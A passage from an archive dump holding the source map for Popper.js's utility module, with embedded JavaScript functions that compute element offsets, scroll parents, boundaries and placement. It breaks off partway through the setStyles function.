,IAAAA,GAwHZK,QAxHYL"}esm/popper-utils.js.map000064400000166653151677356750011154 0ustar00{"version":3,"file":"popper-utils.js","sources":["../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isBrowser.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/debounce.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/getOffsetRect.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getSupportedPropertyName.js","../../src/utils/isFunction.js","../../src/utils/isModifierEnabled.js","../../src/utils/isModifierRequired.js","../../src/utils/isNumeric.js","../../src/utils/getWindow.js","../../src/utils/removeEventListeners.js","../../src/utils/runModifiers.js","../../src/utils/setAttributes.js","../../src/utils/setStyles.js","../../src/utils/setupEventListeners.js","../../src/utils/index.js"],"sourcesContent":["/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import getWindowSizes from './getWindowSizes';\nimport getClientRect from './getClientRect';\n\n/**\n * Get the position of the given element, relative to its offset parent\n * @method\n * @memberof Popper.Utils\n * @param {Element} element\n * @return {Object} position - Coordinates of the element and its `scrollTop`\n */\nexport default function getOffsetRect(element) {\n  let elementRect;\n  if (element.nodeName === 'HTML') {\n    const { width, height } = getWindowSizes(element.ownerDocument);\n    elementRect = {\n      width,\n      height,\n      left: 0,\n      top: 0,\n    };\n  } else {\n    elementRect = {\n      width: element.offsetWidth,\n      height: element.offsetHeight,\n      left: element.offsetLeft,\n      top: element.offsetTop,\n    };\n  }\n\n  // position\n  return getClientRect(elementRect);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the prefixed supported property name\n * @method\n * @memberof Popper.Utils\n * @argument {String} property (camelCase)\n * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)\n */\nexport default function getSupportedPropertyName(property) {\n  const prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];\n  const upperProp = property.charAt(0).toUpperCase() + property.slice(1);\n\n  for (let i = 0; i < prefixes.length; i++) {\n    const prefix = prefixes[i];\n    const toCheck = prefix ? `${prefix}${upperProp}` : property;\n    if (typeof document.body.style[toCheck] !== 'undefined') {\n      return toCheck;\n    }\n  }\n  return null;\n}\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Helper used to know if the given modifier is enabled.\n * @method\n * @memberof Popper.Utils\n * @returns {Boolean}\n */\nexport default function isModifierEnabled(modifiers, modifierName) {\n  return modifiers.some(\n    ({ name, enabled }) => enabled && name === modifierName\n  );\n}\n","import find from './find';\n\n/**\n * Helper used to know if the given modifier depends from another one.<br />\n * It checks if the needed modifier is listed and enabled.\n * @method\n * @memberof Popper.Utils\n * @param {Array} modifiers - list of modifiers\n * @param {String} requestingName - name of requesting modifier\n * @param {String} requestedName - name of requested modifier\n * @returns {Boolean}\n */\nexport default function isModifierRequired(\n  modifiers,\n  requestingName,\n  requestedName\n) {\n  const requesting = find(modifiers, ({ name }) => name === requestingName);\n\n  const isRequired =\n    !!requesting &&\n    modifiers.some(modifier => {\n      return (\n        modifier.name === requestedName &&\n        modifier.enabled &&\n        modifier.order < requesting.order\n      );\n    });\n\n  if (!isRequired) {\n    const requesting = `\\`${requestingName}\\``;\n    const requested = `\\`${requestedName}\\``;\n    console.warn(\n      `${requested} modifier is required by ${requesting} modifier in order to work, be sure to include it before ${requesting}!`\n    );\n  }\n  return isRequired;\n}\n","/**\n * Tells if a given input is a number\n * @method\n * @memberof Popper.Utils\n * @param {*} input to check\n * @return {Boolean}\n */\nexport default function isNumeric(n) {\n  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);\n}\n","/**\n * Get the window associated with the element\n * @argument {Element} element\n * @returns {Window}\n */\nexport default function getWindow(element) {\n  const ownerDocument = element.ownerDocument;\n  return ownerDocument ? ownerDocument.defaultView : window;\n}\n","import getWindow from './getWindow';\n\n/**\n * Remove event listeners used to update the popper position\n * @method\n * @memberof Popper.Utils\n * @private\n */\nexport default function removeEventListeners(reference, state) {\n  // Remove resize event listener on window\n  getWindow(reference).removeEventListener('resize', state.updateBound);\n\n  // Remove scroll event listener on scroll parents\n  state.scrollParents.forEach(target => {\n    target.removeEventListener('scroll', state.updateBound);\n  });\n\n  // Reset state\n  state.updateBound = null;\n  state.scrollParents = [];\n  state.scrollElement = null;\n  state.eventsEnabled = false;\n  return state;\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","/**\n * Set the attributes to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the attributes to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setAttributes(element, attributes) {\n  Object.keys(attributes).forEach(function(prop) {\n    const value = attributes[prop];\n    if (value !== false) {\n      element.setAttribute(prop, attributes[prop]);\n    } else {\n      element.removeAttribute(prop);\n    }\n  });\n}\n","import isNumeric from './isNumeric';\n\n/**\n * Set the style to the given popper\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element - Element to apply the style to\n * @argument {Object} styles\n * Object with a list of properties and values which will be applied to the element\n */\nexport default function setStyles(element, styles) {\n  Object.keys(styles).forEach(prop => {\n    let unit = '';\n    // add unit if the value is numeric and is one of the following\n    if (\n      ['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) 